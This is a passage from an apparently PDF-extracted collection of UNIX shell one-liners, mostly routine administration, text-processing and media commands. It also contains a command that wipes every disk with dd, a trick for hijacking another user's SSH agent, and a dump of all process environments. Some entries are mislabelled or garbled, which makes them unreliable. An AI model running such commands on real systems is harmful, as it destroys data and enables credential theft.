trash-put junkfolder
# Search specified $TEXT1 and Replace that by specified arg ($TEXT2)
find "$DIR" -regex "$FILENAME" -type f -print0 | xargs -0 sed -i _`date "+%y%m%d%H%M%S"` -E
"s/$TEXT1/$TEXT2/g"
# Go to directory or creat it and go to
[[ -d dir ]] || mkdir dir ; cd dir
# remove the last of all html files in a directory
for f in *.html; do sed '$d' -i "$f"; done
# Record active input of soundcard to file.wav
rec -c 2 -r 44100 -s -t wav file.wav
# find both total size and number of files below any given svn directory
svn list -vR svn://server/repo/somedir | awk '{if ($3 !="") sum+=$3; i++} END {print
"\ntotal size= " sum/1024000" MB" "\nnumber of files= " i/1000 " K"}'
# Output entire line once per unique value of the first column
awk '!array[$1]++' file.txt
# See how many more processes are allowed, awesome!
echo $(( `ulimit -u` - `find /proc -maxdepth 1 \( -user $USER -o -group $GROUPNAME \) -type
d|wc -l` ))
# ubuntu tasksel
tasksel list-tasks
# set history file length
export HISTFILESIZE=99999
# List files older than one year, exluding those in the .snapshot directory
find /path/to/directory -not \( -name .snapshot -prune \) -type f -mtime +365
# Skype conversation logs to IRC-format logs
cat skype_log | sed -s 's/\(\[.*\]\) \(.*\): \(.*\)/<\2> \3/'
# Efficient count files in directory (no recursion)
perl -e 'if(opendir D,"."){@a=readdir D;print $#a-1,"\n"}'
# Readd all files is missing from svn repo
svn status | grep "^\?" | awk '{print $2}' | xargs svn add

305 / 658

All UNIX COMMANDS


# check spell in c source code
grep -o -h -rE '".*"' * | ispell -l -p ~/mydict | sort -u
# Sum file sizes
expr `find . -type f -printf "%s + "0`
# recursive base64 encoding -- Cipher for the Poor ?
str=password; for i in `seq 1 10`; do echo -e "$str\n"; str="$(base64 <<< $str)"; done
# Remove all unused kernels with apt-get
sudo apt-get remove $(dpkg -l|awk '/^ii linux-image-/{print $2}'|sed 's/linux-image-//'|awk
-v v=`uname -r` 'v>$0'|sed 's/-generic-pae//'|awk '{printf("linux-headers-%s\nlinux-headers%s-generic*\nlinux-image-%s-generic*\n",$0,$0,$0)}')
# send raw data (hex written)using UDP to an IP and port
echo -n 023135 | perl -pe 's/([0-9a-f]{2})/chr hex $1/gie' | nc -4u -q1 -p5001 192.168.0.100
2000
# Execute a command on multiple hosts in parallel
for host in host1 host2 host3; do ssh -n user@$host <command> > $host.log & done; wait
# Gets the X11 Screen resolution
RES=`xrandr | grep '*' | sed 's/\s*\([0-9x]*\).*/\1/'`; echo $RES
# Archive all files that have not been modified in the last days
find /protocollo/paflow -type f -mtime +5 | xargs tar -cvf /var/dump-protocollo/`date '+%d%m
%Y'_archive.tar`
# Big (four-byte) $RANDOM
printf %d 0x`dd if=/dev/urandom bs=1 count=4 2>/dev/null | od -x | awk 'NR==1 {print $2$3}'`

# Disable graphical login on Solaris


/usr/dt/bin/dtconfig -d
# Analyze awk fields
tr " " "\n" | nl
# Get full URL via http://untr.im/api/ajax/api
URL=[target.URL]; curl -q -d "url=$URL" http://untr.im/api/ajax/api | awk -F 'href="'
'{print $3}' | awk -F '" rel="' '{print $1}'
# list with full path
ls -d1 $PWD/{.*,*}
# Perl One Liner to Generate a Random IP Address
perl -e 'printf "00:16:3E:%02X:%02X:%02X\n", rand 0xFF, rand 0xFF, rand 0xFF'
# Output a SSL certificate start or end date
date --date="$(openssl x509 -in xxxxxx.crt -noout -startdate | cut -d= -f 2)" --iso-8601
# Instant mirror from your laptop + webcam (fullscreen+grab)
mplayer -fs -vf screenshot,mirror tv://
# Provide information on IPC (Inter-process communication) facilities
ipcs
# Change pidgin status

306 / 658

All UNIX COMMANDS


dbus-send --print-reply --dest=im.pidgin.purple.PurpleService /im/pidgin/purple/PurpleObject
im.pidgin.purple.PurpleInterface.PurpleSavedstatusActivate int32:<WANTED STATE>
# Recursive grep of all c++ source under the current directory
find . -name '*.?pp' -exec grep -H "string" {} \;
# To find which host made maximum number of specific tcp connections
netstat -n | grep '^tcp.*<IP>:<PORT>' | tr " " | awk 'BEGIN{FS="( |:)"}{print $6}' | sort |
uniq -c | sort -n -k1 | awk '{if ($1 >= 10){print $2}}'
# Check hashes of files installed by Debian packages, reporting only errors.
debsums -s
# recursively walk down no more than three levels and grab any file with an extension of
mp3, mpg, mpeg, or avi
wget -A mp3,mpg,mpeg,avi -r -l 3 http://www.site.com/
# Search Google
Q="Hello world"; GOOG_URL="http://www.google.com/search?q="; AGENT="Mozilla/4.0"; stream=$
(curl -A "$AGENT" -skLm 10 "${GOOG_URL}\"${Q/\ /+}\"" | grep -oP '\/url\?q=.+?&amp' | sed
's/\/url?q=//;s/&amp//'); echo -e "${stream//\%/\x}"
# Jump to a directory, execute a command and jump back to current dir
pushd /path/to/dir ; command_to_execute; popd
# Use -t when using find and cp
find . -name "*.pdf" -print0 | xargs -0 cp -t downloads/
# Open a Remote Desktop (RDP) session with a custom resolution.
mstsc /w:1500 /h:900 /v:www.example.com
# Multiline Search/Replace with Perl
perl -i -pe 'BEGIN{undef $/;} s/START.*?STOP/replace_string/smg' file_to_change
# Create a video screencast of any x11 window, with audio
echo "Click a window to start recording"; read x y W H <<< `xwininfo | grep -e Width -e
Height -e Absolute | grep -oE "[[:digit:]]{1,}" | tr "\n" " "`; ffmpeg -f alsa -ac 1 -i
pulse -f x11grab -s ${W}x${H} -r 25 -i :0.0+${x},${y} -sameq output.mkv
# Copy files based on extension with recursive and keeping directory structure
rsync -rv --include '*/' --include '*.jar' --exclude '*' srcDir desDir
# Check if x86 Solaris based system is 32bit or 64bit
isainfo -v
# Run iMacros from terminal
firefox imacros://run/?m=macros.iim &
# open remote desktop connection without X
xvfb-run --server-num=1 rdesktop -u name -p pass -g 1024x768 192.168.0.1
# truncate deleted files from lsof
lsof|gawk '$4~/txt/{next};/REG.*\(deleted\)$/{printf ">/proc/%s/fd/%d\n", $2,$4}'
# Ride another SSH agent
export SSH_AUTH_SOCK=`find /tmp/ssh* -type s -user [user] -mtime -1 | head -1`

# shorten url using curl, sed and is.gd

307 / 658

All UNIX COMMANDS


curl -s -d URL="$1" http://is.gd/create.php | sed '/Your new shortened/!d;s/.*value="\
([^"]*\)".*/\1/'
# random xkcd comic as xml
curl -sL 'dynamic.xkcd.com/comic/random/' | awk -F\" '/^<img/{printf("<?xml version=\"1.0\"?
>\n<xkcd>\n<item>\n <title>%s</title>\n <comment>%s</comment>\n <image>
%s</image>\n</item>\n</xkcd>\n", $6, $4, $2)}'
# Display error pages in report format
sudo awk '($9 ~ /404/)' /var/log/httpd/www.domain-access_log | awk '{print $2,$9,$7,$11}' |
sort | uniq -c
# Get size of terminal
alias termsize='echo $COLUMNS x $LINES'
# Find out my Linux distribution name and version
cat /etc/*-release
# Download all data from Google Ngram Viewer
wget -qO - http://ngrams.googlelabs.com/datasets | grep -E href='(.+\.zip)' | sed -r
"s/.*href='(.+\.zip)'.*/\1/" | uniq | while read line; do `wget $line`; done
# Kill all processes belonging to a user
ps -fu $USER | awk {'print $2'} | xargs kill [-9]
# Delete All Objects From An S3 Bucket Using S3cmd
s3cmd ls s3://bucket.example.com | s3cmd del `awk '{print $4}'`
# Link a deep tree of files all into on directory
find /deep/tree/ -type f -print0|xargs -0 -n1 -I{} ln -s '{}' .
# Step#2 Create a copy of the bootload and partition table!
dd if=/dev/sda of=/home/sam/MBR.image bs=512 count=1
# list all file extensions in a directory
ls | grep -Eo "\..+" | sort -u
# convert ascii string to hex
xxd -p <<< <STRING>
# archive all files containing local changes (svn)
svn st -q | cut -c 2- | tr -d ' ' | xargs tar -czvf ../backup.tgz
# Text graphing ping output filter
ping g.co|perl -ne'$|=/e=(\S+)/||next;(push@_,$1)>30&&shift@_;print"\r",
(map{"\xe2\x96".chr(128+7*$_/(sort{$b<=>$a}@_)[0])." "}@_),"$1ms"'
# Arguments too long
find . -name "*.txt" -exec WHATEVER_COMMAND {} \;
# share internet connection with only one network interface
ifconfig eth0:1 192.168.0.1/24
# Generic shell function for modifying files in-place
inplace() { eval F=\"\$$#\"; "$@" > "$F".new && mv -f "$F".new "$F"; }
# Count TCP States From Netstat
netstat -an | awk '/tcp/ {print $6}' | sort | uniq -c
# Convert mkv to SVCD/DivX

308 / 658

All UNIX COMMANDS


ffmpeg -i movie.mkv -target vcd movie.avi
# convert several jpg into one pdf file
convert *.jpg File_Output.pdf
# tar a directory and send it to netcat
tar cfvz - /home/user | netcat -l -p 10000
# archlinux: check which repository packages have updates available
pacman -Qu
# Find out how old a web page is
curl -Is http://osswin.sourceforge.net/ | grep Mod
# Get MX records for a domain
host -t mx foo.org
# Get your public ip
curl -s http://sputnick-area.net/ip

# colorize comm output


comm file1 file2 | sed -e 's/^[^\t].*/\x1b[33m&\x1b[0m/' -e
's/^\t[^\t].*/\x1b[36m&\x1b[0m/' -e 's/^\t\t[^\t].*/\x1b[32m&\x1b[0m/'
# Directory bookmarks
bm() { export BM${1?"bookmark name missing"}="$PWD" ; }; forget() { unset BM${1?"bookmark
name missing"} ; }
# rename files according to date created
for i in *.jpg; do dst=$(exif -t 0x9003 -m $i ) && dst_esc=$(echo $dst | sed 's/ /-/g' ) &&
echo mv $i $dst_esc.jpg ; done
# Lint Git unstaged PHP files
git status -s | grep -o ' \S*php$' | while read f; do php -l $f; done
# bash or tcsh redirect both to stdout and to a file
echo "Hello World." | tee -a hello.txt
# list all opened ports on host
time { i=0; while [ $(( i < 65535 )) -eq 1 ] ; do nc -zw2 localhost $((++i)) && echo port $i
opened ; done; }
# subtraction between lines
seq 1 3 20 | sed -n '1{h;d};H;x;s/\n/\t/p' | awk '{printf("%d - %d = %d\n", $2, $1, $2-$1)}'
# List the Sizes of Folders and Directories
du -h --max-depth=1 /path/folder/
# Turns hidden applications transparent in the Mac OS X dock.
defaults write com.apple.Dock showhidden -bool YES
# MoscowML with editable input-line and history
rlwrap mosml
# Get first Git commit hash
git log --pretty=format:%H | tail -1
# List upgrade-able packages on Ubuntu

309 / 658

All UNIX COMMANDS


apt-get --ignore-hold --allow-unauthenticated -s dist-upgrade | grep ^Inst | cut -d ' ' -f2
# Extract busiest times from apache access log
cut -d " " -f1,4 access_log | sort | uniq -c | sort -rn | head
# List only locally modified files with CVS
cvs -Q status | grep -i locally
# find files containing text
grep -lir "sometext" * > sometext_found_in.log
# converting vertical line to horizontal line
tr '\n' '\t' < inputfile
# Count the number of man pages per first character (a-z)
for i in {a..z} ; do man -k $i |grep -i "^$i" |wc | awk 'BEGIN { OFS = ":"; ORS = "" }
{print $1, "\t"}' && echo $i ;done
# Get a Bulleted List of SVN Commits By a User for a Specifc Day (Daily Work Log)
svn log -r '{YYYY-MM-DD}:{YYYY-MM-DD}' | sed -n '1p; 2,/^-/d; /USERNAME/,/^-/p' | grep -E -v
'^(r[0-9]|---|$)' | sed 's/^/* /g'
# archlinux: shows list of packages that are no longer needed
pacman -Qdt
# Don't save commands in bash history (only for current session)
ssh user@hostname.domain "> ~/.bash_history"
# Backup your LDAP
slapcat -n 1 > /backup/`date "+%Y%m%d"`.ldif
# Quick find function
quickfind () { find . -maxdepth 2 -iname "*$1*" }
# Right-align text in console using pipe like ( command | right )
$ right(){ l="$(cat -)"; s=$(echo -e "$l"| wc -L); echo "$l" | while read l;do j=$(((s-$
{#l})));echo "$(while ((j-->0)); do printf " ";done;)$l";done;}; ls --color=none / | right
# Create a tar archive using xz compression
tar -cJf myarchive.tar.xz /path/to/archive/
# Print unique ipaddresses as they come in from Apache Access Log File
tail -f /var/log/apache2/access.log | awk -W interactive '!x[$1]++ {print $1}'

# Replace spaces in a file with hyphens


sed -i 's/ /-/g' *
# find files beginning with filename* that do not include "string"
grep -L "string" filename*
# Changes a User Password via command line without promt
echo -e "new_password\nnew_password" | (passwd --stdin $USER)
# A signal trap that logs when your script was killed and what other processes were running
at that time
trap "echo \"$0 process $$ killed on $(date).\" | tee ${0##*/}_$$_termination.log; echo
'Active processes at the time were logged to ${0##*/}_$$_termination.log'; ps u >>
${0##*/}_$$_termination.log; exit " HUP INT QUIT ABRT TERM STOP

310 / 658

All UNIX COMMANDS


# Get all IPs via ifconfig
ifconfig | awk -F':| +' '/ddr:/{print $4}'
# Searches $PATH for files using grep
IFS=:; find $PATH | grep pattern
# Change wallpaper
feh --bg-scale /path/to/wallpaper.jpg
# Put terminal into vi mode
set -o vi
# Edit the /etc/sudoers config file the right way.
visudo
# Get max number of arguments
getconf ARG_MAX
# to see about php configure
$php_dir/bin/php -i | grep configure
# Change the console keyboard layout
loadkeys uk
# List NYC startups that are hiring
curl -s -L http://nytm.org/made-in-nyc | grep "(hiring)" | sed -re 's/<([^>]+)>//g;s/^([
\t]*)//g'
# Bitcoin prices from the command line
curl btc.cm/last
# Convert control codes to visible Unicode Control Pictures
/bin/echo -e '\002Hello, Folks\t!\r' | perl -pwle 'use v5.14; s/
([\N{U+0000}-\N{U+0020}])/chr(9216+ord($1))/ge;'
# Recursive replace of directory and file names in the current directory.
find . *oldname* | grep oldname | perl -p -e 's/^(.*)(oldname)(.*$)/mv $1$2$3 $1newname$3/'
| sh
# Show only existing executable dirs in PATH using only builtin bash commands
for p in ${PATH//:/ }; do [[ -d $p && -x $p ]] && echo $p; done
# Take a file as input (two columns data format) and sum values on the 2nd column for all
lines that have the same value in 1st column
awk '{a[$1] += $2} END { for (i in a) {print i " " a[i]}}' /path/to/file
# Check whether laptop is running on battery or cable
acpi -a
# apt-get upgrade with bandwidth limit
trickle sudo apt-get update -y
# find files ignoring .svn and its decendents
find . -type f ! -iwholename \*.svn\* -print0 [ | xargs -0 ]
# scheduled jobs
at <date> < jobs.sh
# Unlock your KDE4 session remotely (for boxes locked by KDE lock utility)

311 / 658

All UNIX COMMANDS


qdbus | grep kscreenlocker_greet | xargs -I {} qdbus {} /MainApplication quit
# Display / view the contents of the manifest within a Java jar file
$ unzip -p some-jar-file.jar META-INF/MANIFEST.MF
# Function to split a string into an array
Split()
{ eval "$1=( \"$(echo "${!1}" | sed "s/$2/\" \"/g")\" )"; }

# See all the commits for which searchstring appear in the git diff
git log -p -z | perl -ln0e 'print if /[+-].*searchedstring/'
# Check if the Debian package was used since its installation/upgrade.
package=$1; list=/var/lib/dpkg/info/${package}.list; inst=$(stat "$list" -c %X); cat $list |
(while read file; do if [ -f "$file" ];then acc=$(stat "$file" -c %X); if [ $inst -lt
$acc ]; then echo used $file; exit 0; fi; fi; done; exit 1)
# find files ignoring .svn and its decendents
find . -type d -name .svn -prune -o -type f -print0 | xargs -r0 ...
# Count git commits since specific commit
git log --pretty=oneline b56b83.. | wc -l
# Dropbox login using only curl, sed and bash
link=https://www.dropbox.com/login ; curl -b a -c cookie -d "t=$(curl -c a $link | sed -rn
's/.*TOKEN: "([^"]*).*/\1/p')&login_email=me%40yahoo.com&login_password=my_passwd" $link
# GZip all files in a directory separately
for file in *.foo; do gzip "$file"; done
# convert wmv into xvid avi format
mencoder -ovc xvid -oac mp3lame -srate 44100 -af lavcresample=44100 -xvidencopts
fixed_quant=4 Foo.wmv -o Bar.avi
# Trim png files in a folder
mogrify -trim *png
# list services running (as root)
service --status-all | grep running
# Have netcat listening on your ports and use telnet to test connection
SERVER: nc -l p 666 CLIENT: telnet -l -p 666
# GZip all files in a directory separately
ls | xargs -n1 gzip
# DVD-Rip
mplayer dvd://1 -dumpstream -alang es -dumpfile "$dirDestino"/"$tituloDVD".mpg && ffmpeg -i
"$dirDestino/$tituloDVD.mpg" -acodec libmp3lame -alang spa -vcodec libx264 -crf 26 -vpre hq
-threads 0 "$dirDestino/$tituloDVD.mp4"
# Download an Entire website with wget
wget -m -k -K -E http://url/of/web/site
# Play radio stream with mplayer
mplayer -nolirc http://5253.live.streamtheworld.com/VIRGINRADIO_DUBAIAAC
# Execute matlab sentences from command line
echo 'magic(3)' | matlab -nodisplay

312 / 658

All UNIX COMMANDS


# Download all music files off of a website using wget
wget -r -l1 -H -nd -A mp3 -e robots=off http://example/url
# search installed files of package, that doesn't remember his name well. On rpm systems
rpm -qa | grep PACKAGENAME | xargs rpm -q --filesbypkg
# add a backup (or any other) suffix to a file
mv -vi file{,~}
# get detailed info about a lan card on HP-UX 11.31
nwmgr -q info -c lan0
# Check the package is installed or not. There will show the package name which is
installed.
dpkg -l | cut -d' ' -f 3 | grep ^python$
# Virtualbox: setup hardware
VBoxManage modifyvm "vm-name" --memory 256 --acpi on --ioapic off --pae on --hwvirtex on
--nestedpaging on
# List the Sizes of Folders and Directories
du -hs /path/to/folder/*
# Destroy all disks on system simultaneously
for i in `sudo /sbin/fdisk -l |grep Disk |grep dev |awk '{ print $2 }' |sed s/://g` ; do
sudo /usr/bin/dd if=/dev/urandom of=$i bs=8M & done
# View a sopcast stream
(sp-sc sop://broker.sopcast.com:3912/6002 3900 8900 &>/dev/null &); sleep 10; mplayer
http://localhost:8900/tv.asf
# Number of CPU's in a system
grep -c ^processor /proc/cpuinfo

# Ring the system bell after finishing a long script/compile


myLongScript && echo -e '\a' || (echo -e '\a'; sleep 1; echo -e '\a')
# Compress a file or directory keeping the owner and permissions
tar -jcvf /folder/file.tar.bz2 --same-owner --same-permissions /folder/
# Using scapy to get the IP of the iface used to contact local gw (i.e. supposed host IP)
python -c "import scapy.all; print [x[4] for x in scapy.all.conf.route.routes if x[2] !=
'0.0.0.0'][0]"
# Execute a command before display the bash prompt
PROMPT_COMMAND=command
# Get listening ports on a localhost
ss -ln | awk '$3~/([0-9]+)/{print $3}' | sed 's/.*\:\([0-9]\+\)$/\1/'
# Add the time to BASH prompt
export PS1="(\@) $PS1"
# print a file on a single line
echo $(cat file)
# how to allow a program to listen through the firewall

313 / 658

All UNIX COMMANDS


netsh firewall add programmaautorizzato C:\nltest.exe mltest enable
# Recursive replace of directory and file names in the current directory.
for i in `find -name '*oldname*'`; do "mv $i ${i/oldname/newname/}"; done
# Cleanup firefox's database.
find ~/Library/Application\ Support/Firefox/ -type f -name "*.sqlite" -exec sqlite3 {}
VACUUM \;
# List users with running processes
ps aux | sed -n '/USER/!s/\([^ ]\) .*/\1/p' | sort -u
# List open sockets protocol/address/port/state/PID/program name
sudo netstat -punta
# Pipe a textfile to vim and move the cursor to a certain line
zcat /usr/share/doc/vim-common/README.gz | vim -g +23 # floating point operations in shell scripts
echo "5 k 3 5 / p" | dc
# geoip information
geo(){ curl -s "http://www.geody.com/geoip.php?ip=$(dig +short $1)"| sed '/^IP:/!d;s/<[^>]
[^>]*>//g'; }
# View All Processess Cmdlines and Environments
cd /proc&&ps a -opid=|xargs -I+ sh -c '[[ $PPID -ne + ]]&&echo -e "\n[+]"&&tr -s "\000" "
"<+/cmdline&&echo&&tr -s "\000\033" "\nE"<+/environ|sort'
# Save a file you edited in vim without the needed permissions
:%!sudo tee %
# List all files in current dir and subdirs sorted by size
tree -ifs --noreport .|sort -n -k2
# Use vi commands to edit your command lines
set -o vi; ls -l jnuk<ESC>bCjunk
# Create a directory and go inside it
mkdir dir; cd $_
# Rotate a pdf by 90 degrees CW
pdftk input.pdf cat 1-endE output output.pdf
# subtraction between lines
seq 1 3 20 | awk '{ T[NR]=$1} END {for (i=1;i<=(NR-1);i++) print T[i+1],"-",T[i],"=" ,
T[i+1]-T[i]}'
# Print one . instead of each line
alias ...='while read line; do echo -n "."; done && echo ""'
# Get the SUM of visual blocked digits in vim
vmap <c-a> y:$<CR>o<Esc>map<Esc>:'a,$!awk '{sum+=$0}END{print "SUM:" sum}'<CR>dd'>p
# Sort a character string
echo sortmeplease | grep -o . | sort | tr -d '\n'; echo

# How to check network connection from one interface

314 / 658

All UNIX COMMANDS


ping -I eth0 www.yahoo.com
# Console clock
while sleep 1; do echo -n "\r`date`"; done
# export iPad App list to txt file
ls "~/Music/iTunes/iTunes Media/Mobile Applications" > filepath
# View any archive
als some.jar
# Simulate typing but with mistakes
echo -e "You are a jerk\b\b\b\bwonderful person" | pv -qL $[10+(-2 + RANDOM%5)]
# psgrepp
ps aux | grep $(echo $1 | sed "s/^\(.\)/[\1]/g")
# Export OPML from Google Reader
export-opml(){ curl -sH "Authorization: GoogleLogin auth=$(curl -sd
"Email=$1&Passwd=$2&service=reader" https://www.google.com/accounts/ClientLogin | grep Auth
| sed 's/Auth=\(.*\)/\1/')" http://www.google.com/reader/subscriptions/export; }
# Adding specific CustomLog for each Virtual Domain of Apache
for arquivo in `ls -1` ; do sed -i '/ErrorLog/a\ \ \ \ \ \ \ \ CustomLog
\/var\/log\/apache2\/access_'"$file"'_log combined' /root/site-bak/${file} ; done
# Create a tar archive using xz compression
tar -cvf - /path/to/tar/up | xz - > myTarArchive.tar.xz
# BourneShell: Go to previous directory
cd # Best option set for 7zip compression of database dumps or generic text files
7zr a -mx=9 -ms=on -mhc=on -mtc=off db_backup.sql.7z db_dump.sql
# Show word-by-word differences between two latex files, in color
dwdiff -c a.tex b.tex | less -R
# Encode a string using ROT47
echo "your string here" | tr '\!-~' 'P-~\!-O'
# Email a file to yourself
echo "This is the message body" | mutt -s "Message subject" -a file_to_attach.zip
fred@example.com
# Show directories
ls -l | grep ^d
# count how many cat processes are running
ps -a | grep -c cat
# First file editor for newbies
cat > file.txt << EOF
# Apply fade effect to a audio
sox input.mp3 output.mp3 fade h 5 00:02:58 5
# Show crontabs for all users
for i in /var/spool/cron/tabs/*; do echo ${i##*/}; sed 's/^/\t/' $i; echo; done

315 / 658

All UNIX COMMANDS


# grab all of google IPv4 network blocks
host -t TXT _netblocks.google.com 8.8.8.8
# find distro name / release version
$ cat /etc/*-release
# Combine two mp3's or more into 1 long mp3
cat 1.mp3 2.mp3 > combined.mp3
# Be notified about overheating of your CPU and/or motherboard
sensors | grep "Core 1" | [[ `sed -e 's/^.*+\([0-9]\{2,3\}\).*(.*/\1/'` -gt 50 ]] && notifysend "Core 1 temperature exceeds 50 degrees"
# Last month
LASTMONTH=`date -d "last month" +%B`
# Tell what is encoded in a float, given its HEX bytes
dc -e"16i?dsH0sq2d17^ss8^dse2/1-stdlsle*/2*2B+an[[ FP
Indef.]n]sQ[dls2//2%_2*53+an[NaN]ndle4*1-ls2/*=Q2Q]sN[1sqdls%0<N[oo]n]sMdls/le%dsdle1=M[[]pq]sPlq1=P[r+0]s0ldd1r0=0lHls%rls*+sS2r^Alt4*^*lS*2lt^/ls/dsSZlt4*-1-sFlsZ1+klSdArZ1^/dn0=P[e]nlFp"

# Split huge file into DVD+R size chunks for burning


split -b 4700000000 file.img.gz file.img.gz.
# Console clock -- Beautiful
yes 'clear;printf "\n\n`date`\n" | figlet -f starwars;sleep 1' | sh
# Sort lines on clipboard
xclip -o -selection clipboard | sort | xclip -i -selection clipboard
# Perform a C-style loop in Bash.
for (( i = 0; i < 100; i++ )); do echo "$i"; done
# Easy to extend one-liner for cron scripts that automate filesystem checking
( di $TOFSCK -h ; /bin/umount $TOFSCK ; time /sbin/e2fsck -y -f -v $FSCKDEV ; /bin/mount
$TOFSCK ) |& /bin/mail $MAILTO -s "$MAILSUB"
# Send remote command output to your local clipboard
command | ssh myHost xsel -i --display :0
# Perl Command Line Interpreter
perl -dwe 1
# export iPad, iPhone App list to txt file
ls "`defaults read com.apple.itunes NSNavLastRootDirectory`/iTunes/iTunes Music/Mobile
Applications/" > filepath
# Using parcellite, indents the content of the clipboard manager
parcellite -c | sed 's/^/
/' | parcellite
# Read Python logs with tracebacks in color
pygmentize -l pytb myapp.log | less -SR
# find which lines in a file are longer than N characters
while read i; do [ ${#i} -gt 72 ] && echo "$i"; done < /path/to/file
# Find your graphics chipset

316 / 658

All UNIX COMMANDS


lspci |grep VGA
# gpg decrypt several files
gpg --allow-multiple-messages --decrypt-files *
# Remote mysql dump all databases with ssh
mysqldump -u user -p --all-databases | ssh user@host dd of=/opt/all-databases.dump
# Delete specific remote 'origin' branch 'gh-pages'
git push origin :gh-pages
# Compose 2 images to 1
composite -geometry 96x96+250+70 foreground.jpg background.jpg image.jpg
# List empty any directories
ls -ld **/*(/^F)
# Merge PDFs with Ghostscript wrapped in a function
mergepdf() { gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=merged.pdf "$@" }
# Convert Youtube videos to MP3
url="put_url_here";audio=$(youtube-dl -s -e $url);wget -q -O - `youtube-dl -g $url`| ffmpeg
-i - -f mp3 -vn -acodec libmp3lame - > "$audio.mp3"
# Test python regular expressions
rgx_match() { python -c "import re; print re.search('$1','$2').groups()"; }
# Show available conversions
recode -l |less
# disable history for current shell session
HISTFILE=/dev/null
# The wisdom of Cave Johnson
curl -s http://www.cavejohnsonhere.com/random/ | grep quote_main | cut -d \> -f 2- | fmt -w
$(tput cols)
# Perl oneliner to print access rights in octal format
perl -e 'printf "%04o\n", (stat shift)[2] & 0777;' file
# video volume boost
ffmpeg -i input.ogv -vol $((256*4)) -vcodec copy output.ogv

# Summary of disk usage, excluding other filesystems, summarised and sorted by size
du -xks * | sort -n
# Watch a dig in progress
watch -n1 dig google.com
# converts a directory full of source tarballs into a bzr repository so you can compare
different versions easily
bzr init .;for file in `ls *.bz2`; do bzr import $file; bzr ci -m $file; done
# Get free RAM in %
free -m | awk '/cache:/ { printf("%d%\n",$3/($3+$4)*100)}'
# Btrfs: Find file names with checksum errors

317 / 658

All UNIX COMMANDS


dmesg | grep -Po 'csum failed ino\S* \d+' | awk '{print $4}' | sort -u | xargs -n 1 find /
-inum 2> /dev/null
# download the contents of a remote folder in the current local folder
wget -r -l1 -np -nd http://yoururl.com/yourfolder/
# Use md5sum to check your music and movie files. Also use diff.
find . -type f -exec md5sum {}\; > <filename>
# Watch and cat the last file to enter a directory
watch "cat `ls -rcA1 | tail -n1`"
# debian/ubuntu get installed nvidia driver version from terminal
dpkg --status nvidia-current | grep Version | cut -f 1 -d '-' | sed 's/[^.,0-9]//g'
# To find the LDAP clients connected to LDAP service running on Solaris
netstat -n -f inet|awk '/\.389/{print $2}'|cut -f1-4 -d.|sort -u
# quick integer CPU benchmark
echo '2^2^20' | time bc > /dev/null
# Adding Color Escape Codes to global CC array for use by echo -e
declare -ax CC; for i in `seq 0 7`;do ii=$(($i+7)); CC[$i]="\033[1;3${i}m";
CC[$ii]="\033[0;3${i}m"; done
# dump the whole database
mysqldump -u UNAME -p DBNAME > FILENAME
# Greets the user appropriately
echo "12 morning\n15 afternoon\n24 evening" |while read t g; do if [ `date +%H` -lt $t ];
then echo "Good $g"; break; fi; done
# Delete Mailer-Daemon messages
mailq | grep MAILER-DAEMON | awk '{print $1}' | tr -d '*' | postsuper -d # ssh X tunneling over multiple ssh hosts (through ssh proxy)
ssh -t -X -A user@sshproxy ssh -X -A user@sshhost
# recursively change file name from uppercase to lowercase (or viceversa)
find . -depth -print -execdir rename -f 'y/A-Z/a-z/' '{}' \;
# Count lines of source code excluding blank lines and comments
sloccount <directory>
# return a titlecased version of the string[str.title() in python]
title() { sed 's/\<\w*/\u&/g' <<<$@; }
# This allows you to find a string on a set of files recursivly
grep -rF --include='*.txt' stringYouLookFor *
# print a python-script (or any other code) with syntax-highlighting and no loss of
indentation
a2ps -R --columns=1 -M A4 myprog.py -o - |lpr
# Count all the files in the directory and child directories
ls -d */* | wc -l
# View internet connection activity in a browser
lsof -nPi | txt2html > ~/lsof.html | gnome-open lsof.html

318 / 658

All UNIX COMMANDS


# Create iso image of cd/dvd
dd if=/dev/cdrom of=~/cdimage.iso
# list any Linux files without users or groups
sudo find / \( -nouser -o -nogroup \)

# Quickly create an alias for changing into the current directory


function map() { [ -n "$1" ] && alias $1="cd `pwd`" || alias | grep "'cd "; }
# Remove Suspend option from XFCE logoff dialog
xfconf-query -c xfce4-session -np '/shutdown/ShowSuspend' -t 'bool' -s 'false'
# Encode text in Base64 using Perl
perl -e 'use MIME::Base64; print encode_base64("encode me plz");'
# Bulk renames with find, sed and a little escaping
find . -exec bash -c "mv '{}' '\`echo {} |sed -e 's/foo/bar/g'\`"' \;
# Batch Convert SVG to PNG
for i in *.svg; do convert "$i" "${i%.svg}.png"; done
# find out zombie process
ps aux | awk '{ print $8 " " $2 " " $11}' | grep -w Z
# Clean the /boot directory
rpm -q kernel-2* | grep -v $(uname -r) | xargs yum erase -y
# Send a local file via email
echo "see attached file" | mail -a filename -s "subject" email@address
# dump the whole database
mysqldump --lock-tables --opt DBNAME -u UNAME --password=PASS | gzip > OUTFILE
# CLI Visual Apache Web Log Analyzer
goaccess -f /var/log/apache2/access.log -s -b
# Summarize the number of open TCP connections by state
netstat -nt | awk '{print $6}' | sort | uniq -c | sort -n -k 1 -r
# Tunneling commands over SSH
tar cvzf - /folder/ | ssh root@192.168.0.1 "dd of=/dest/folder/file.tar.gz"
# ls -qahlSr
ls -qahlSr

# list all files in size order - largest last


# list all files in size order - largest last

# MP3 player
find . -name '*.mp3' | sort | while read -r mp3; do echo -e "<h3>$mp3</h3>\n<audio controls
src=\"$mp3\"></audio>"; done > index.html; python -m http.server
# ps grep with header
psg () { ps auxwww | egrep "$1|PID" | grep -v grep }
# Display formatted routes
routel
# validate xml in a shell script using xmllint
xmllint --noout some.xml 2>&1 >/dev/null || exit 1

319 / 658

All UNIX COMMANDS


# Url Encode
uri_escape(){ echo -E "$@" | sed 's/\\/\\\\/g;s/./&\n/g' | while read -r i; do echo $i |
grep -q '[a-zA-Z0-9/.:?&=]' && echo -n "$i" || printf %%%x \'"$i" done }
# Count the frequency of every word for a given file
cat YOUR_FILE|tr -d '[:punct:]'|tr '[:upper:]' '[:lower:]'|tr -s ' ' '\n'|sort|uniq -c|sort
-rn
# find which of the zip files contains the file you're searching for
find . -iname '*.zip' | while read file; do unzip -l "$file" | grep -q [internal file name]
&& echo $file; done
# Generate a 18 character password, print the password and sha512 salted hash
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 18 | head -1 | python -c "import sys,crypt;
stdin=sys.stdin.readline().rstrip('\n'); print stdin;print crypt.crypt(stdin)"
# most used unix commands
